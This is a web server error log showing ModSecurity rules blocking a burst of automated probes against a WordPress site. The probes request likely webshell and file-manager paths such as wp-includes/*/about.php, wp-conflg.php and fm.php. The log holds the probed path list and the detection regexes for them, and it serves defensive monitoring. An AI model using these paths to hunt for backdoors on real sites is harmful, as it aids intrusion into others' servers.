[Thu Apr 09 14:29:28.044881 2026] [:error] [pid 24624:tid 24650] [client 45.95.243.7:25035] [client 45.95.243.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "addHSO4Jn-WvK1ZBTvh6vAAAANg"]
[Thu Apr 09 14:29:28.617764 2026] [:error] [pid 24624:tid 24648] [client 45.95.243.16:31957] [client 45.95.243.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "addHSO4Jn-WvK1ZBTvh6vgAAANY"]
[Thu Apr 09 14:29:34.396711 2026] [:error] [pid 24624:tid 24631] [client 45.95.243.13:51069] [client 45.95.243.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/wp-login.php"] [unique_id "addHTu4Jn-WvK1ZBTvh62AAAAMU"]
[Thu Apr 09 14:29:39.023691 2026] [proxy_fcgi:error] [pid 24927:tid 24937] [client 45.95.243.11:48181] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 14:29:39.314085 2026] [proxy_fcgi:error] [pid 24927:tid 24939] [client 45.95.243.11:48181] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 14:29:39.598956 2026] [proxy_fcgi:error] [pid 24927:tid 24938] [client 45.95.243.11:48181] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 14:29:43.751694 2026] [:error] [pid 24927:tid 24940] [client 45.95.243.11:48181] [client 45.95.243.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/about.php"] [unique_id "addHVzXObuzEuw8mNJtytAAAAQo"]
[Thu Apr 09 14:29:44.324707 2026] [:error] [pid 24517:tid 24583] [client 45.95.243.32:22051] [client 45.95.243.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "addHWHboYEn2ZFM_PS9IdgAAAIk"]
[Thu Apr 09 14:29:44.895471 2026] [:error] [pid 24927:tid 24938] [client 45.95.243.21:46221] [client 45.95.243.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "addHWDXObuzEuw8mNJtytgAAAQg"]
[Thu Apr 09 14:29:45.486134 2026] [:error] [pid 24927:tid 24941] [client 45.95.243.47:64699] [client 45.95.243.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "addHWTXObuzEuw8mNJtytwAAAQs"]
[Thu Apr 09 14:29:46.090729 2026] [:error] [pid 24515:tid 24532] [client 45.95.243.35:28705] [client 45.95.243.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "addHWq1OMnvM2fMnB1M4_gAAAA0"]
[Thu Apr 09 14:29:47.788901 2026] [:error] [pid 24927:tid 24948] [client 45.95.243.11:36581] [client 45.95.243.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "addHWzXObuzEuw8mNJtyuwAAARI"]
[Thu Apr 09 14:29:49.419986 2026] [:error] [pid 24517:tid 24590] [client 45.95.243.20:34115] [client 45.95.243.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/index.php"] [unique_id "addHXXboYEn2ZFM_PS9IegAAAJA"]
[Thu Apr 09 14:29:49.982735 2026] [:error] [pid 24517:tid 24587] [client 45.95.243.14:47441] [client 45.95.243.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "addHXXboYEn2ZFM_PS9IfQAAAI0"]
[Thu Apr 09 14:29:50.568305 2026] [:error] [pid 24517:tid 24576] [client 45.95.243.1:61487] [client 45.95.243.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "addHXnboYEn2ZFM_PS9IfgAAAII"]
[Thu Apr 09 14:29:51.159818 2026] [:error] [pid 24517:tid 24584] [client 45.95.243.9:27227] [client 45.95.243.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "addHX3boYEn2ZFM_PS9IgQAAAIo"]
[Thu Apr 09 14:29:54.622752 2026] [:error] [pid 24515:tid 24539] [client 45.95.243.20:31037] [client 45.95.243.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/themes.php"] [unique_id "addHYq1OMnvM2fMnB1M5CQAAABQ"]
[Thu Apr 09 14:29:56.224290 2026] [:error] [pid 24515:tid 24531] [client 45.95.243.35:43715] [client 45.95.243.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/index.php"] [unique_id "addHZK1OMnvM2fMnB1M5DAAAAAw"]
[Thu Apr 09 14:29:59.786229 2026] [:error] [pid 24517:tid 24589] [client 45.95.243.27:62497] [client 45.95.243.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "addHZ3boYEn2ZFM_PS9IkQAAAI8"]
[Thu Apr 09 14:30:03.604369 2026] [:error] [pid 24927:tid 24939] [client 45.95.243.162:50045] [client 45.95.243.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/about.php"] [unique_id "addHazXObuzEuw8mNJty6AAAAQk"]
[Thu Apr 09 14:30:08.483911 2026] [:error] [pid 24624:tid 24640] [client 45.95.243.6:36363] [client 45.95.243.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "addHcO4Jn-WvK1ZBTvh7LQAAAM4"]
[Thu Apr 09 14:30:14.434761 2026] [:error] [pid 24927:tid 24947] [client 45.95.243.40:45677] [client 45.95.243.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/about.php"] [unique_id "addHdjXObuzEuw8mNJtzcAAAARE"]
[Thu Apr 09 14:30:16.691182 2026] [:error] [pid 24927:tid 24944] [client 45.95.243.23:39531] [client 45.95.243.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-class.php"] [unique_id "addHeDXObuzEuw8mNJtzcgAAAQ4"]
[Thu Apr 09 14:30:36.386879 2026] [:error] [pid 24517:tid 24584] [client 45.95.243.162:61881] [client 45.95.243.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "addHjHboYEn2ZFM_PS9I7QAAAIo"]
[Thu Apr 09 14:30:36.939135 2026] [:error] [pid 24927:tid 24944] [client 45.95.243.25:27607] [client 45.95.243.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "addHjDXObuzEuw8mNJtzjAAAAQ4"]
[Thu Apr 09 14:30:39.188857 2026] [:error] [pid 24927:tid 24945] [client 45.95.243.25:51977] [client 45.95.243.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "addHjzXObuzEuw8mNJtzjwAAAQ8"]
[Thu Apr 09 14:30:42.669150 2026] [:error] [pid 24516:tid 24566] [client 45.95.243.42:22313] [client 45.95.243.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "addHkthW7vSS-UkeWCX3KgAAAFM"]
[Thu Apr 09 14:30:43.223695 2026] [:error] [pid 24624:tid 24641] [client 45.95.243.33:56603] [client 45.95.243.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/index.php"] [unique_id "addHk-4Jn-WvK1ZBTvh7PwAAAM8"]
[Thu Apr 09 14:30:48.954338 2026] [:error] [pid 24927:tid 24954] [client 45.95.243.36:24687] [client 45.95.243.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "addHmDXObuzEuw8mNJtzuQAAARg"]
[Thu Apr 09 14:30:49.535538 2026] [:error] [pid 24517:tid 24580] [client 45.95.243.3:46829] [client 45.95.243.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "addHmXboYEn2ZFM_PS9I_wAAAIY"]
[Thu Apr 09 14:30:57.690589 2026] [:error] [pid 24517:tid 24585] [client 45.95.243.32:39781] [client 45.95.243.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "addHoXboYEn2ZFM_PS9JDQAAAIs"]
[Thu Apr 09 14:30:59.997674 2026] [proxy_fcgi:error] [pid 24515:tid 24526] [client 45.95.243.37:25819] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 14:31:01.722051 2026] [:error] [pid 24515:tid 24529] [client 45.95.243.37:25819] [client 45.95.243.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/function.php"] [unique_id "addHpa1OMnvM2fMnB1M5cQAAAAo"]
[Thu Apr 09 14:31:02.306976 2026] [:error] [pid 24927:tid 24935] [client 45.95.243.9:49717] [client 45.95.243.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/plugins.php"] [unique_id "addHpjXObuzEuw8mNJtz5QAAAQU"]
[Thu Apr 09 14:31:05.962661 2026] [:error] [pid 24927:tid 24933] [client 45.95.243.30:32585] [client 45.95.243.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/chosen.php"] [unique_id "addHqTXObuzEuw8mNJtz8QAAAQM"]
[Thu Apr 09 14:31:06.523123 2026] [:error] [pid 24516:tid 24558] [client 45.95.243.8:58267] [client 45.95.243.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "addHqthW7vSS-UkeWCX3PwAAAEs"]
[Thu Apr 09 14:31:17.387202 2026] [:error] [pid 24517:tid 24583] [client 45.95.243.40:21853] [client 45.95.243.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/atomlib.php"] [unique_id "addHtXboYEn2ZFM_PS9JHwAAAIk"]
[Thu Apr 09 14:31:17.943878 2026] [:error] [pid 24517:tid 24590] [client 45.95.243.34:48851] [client 45.95.243.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/index.php"] [unique_id "addHtXboYEn2ZFM_PS9JIAAAAJA"]
[Thu Apr 09 14:31:23.858500 2026] [:error] [pid 24927:tid 24934] [client 45.95.243.35:42867] [client 45.95.243.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/index.php"] [unique_id "addHuzXObuzEuw8mNJt0FAAAAQQ"]
[Thu Apr 09 14:31:24.416902 2026] [:error] [pid 24927:tid 24943] [client 45.95.243.32:55123] [client 45.95.243.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "addHvDXObuzEuw8mNJt0FwAAAQ0"]
[Thu Apr 09 14:31:24.969848 2026] [:error] [pid 24927:tid 24938] [client 45.95.243.5:39617] [client 45.95.243.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "addHvDXObuzEuw8mNJt0GQAAAQg"]
[Thu Apr 09 14:31:31.951818 2026] [:error] [pid 24515:tid 24527] [client 45.95.243.44:31681] [client 45.95.243.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "addHw61OMnvM2fMnB1M5hQAAAAg"]
[Thu Apr 09 14:31:34.154769 2026] [:error] [pid 24624:tid 24635] [client 45.95.243.3:49443] [client 45.95.243.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "addHxu4Jn-WvK1ZBTvh7vQAAAMk"]
[Thu Apr 09 14:31:42.007975 2026] [:error] [pid 24624:tid 24626] [client 45.95.243.11:25361] [client 45.95.243.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.95.243.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/js/wp-login.php"] [unique_id "addHzu4Jn-WvK1ZBTvh7ywAAAMA"]
[Thu Apr 09 14:31:49.099103 2026] [:error] [pid 24624:tid 24643] [client 45.95.243.11:25361] [client 45.95.243.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.95.243.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "addH1e4Jn-WvK1ZBTvh71gAAANE"]
[Thu Apr 09 14:32:01.929472 2026] [proxy_fcgi:error] [pid 24624:tid 24634] [client 45.95.243.11:25361] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 14:32:18.886120 2026] [:error] [pid 24624:tid 24649] [client 45.95.243.11:25361] [client 45.95.243.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/about.php"] [unique_id "addH8u4Jn-WvK1ZBTvh8GQAAANc"]
[Thu Apr 09 14:32:23.488547 2026] [:error] [pid 24927:tid 24943] [client 45.95.243.44:63333] [client 45.95.243.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "addH9zXObuzEuw8mNJt0iAAAAQ0"]
[Thu Apr 09 14:32:27.002247 2026] [:error] [pid 24516:tid 24563] [client 45.95.243.11:32989] [client 45.95.243.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/atomlib.php"] [unique_id "addH-9hW7vSS-UkeWCX3cwAAAFA"]
[Thu Apr 09 14:32:38.704519 2026] [:error] [pid 24515:tid 24533] [client 45.95.243.11:27629] [client 45.95.243.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "addIBq1OMnvM2fMnB1M5pgAAAA4"]
[Thu Apr 09 14:32:42.163771 2026] [:error] [pid 24517:tid 24586] [client 45.95.243.23:62013] [client 45.95.243.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "addICnboYEn2ZFM_PS9JTQAAAIw"]
[Thu Apr 09 14:32:44.448810 2026] [:error] [pid 24515:tid 24524] [client 45.95.243.19:22175] [client 45.95.243.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "addIDK1OMnvM2fMnB1M5qgAAAAU"]
[Thu Apr 09 14:32:51.497522 2026] [proxy_fcgi:error] [pid 24517:tid 24579] [client 45.95.243.44:26063] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 14:32:51.780368 2026] [proxy_fcgi:error] [pid 24517:tid 24575] [client 45.95.243.44:26063] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 14:32:52.056831 2026] [:error] [pid 24517:tid 24595] [client 45.95.243.44:26063] [client 45.95.243.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "addIFHboYEn2ZFM_PS9JXQAAAJU"]
[Thu Apr 09 14:32:52.604707 2026] [:error] [pid 24517:tid 24597] [client 45.95.243.41:37713] [client 45.95.243.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "addIFHboYEn2ZFM_PS9JXgAAAJc"]
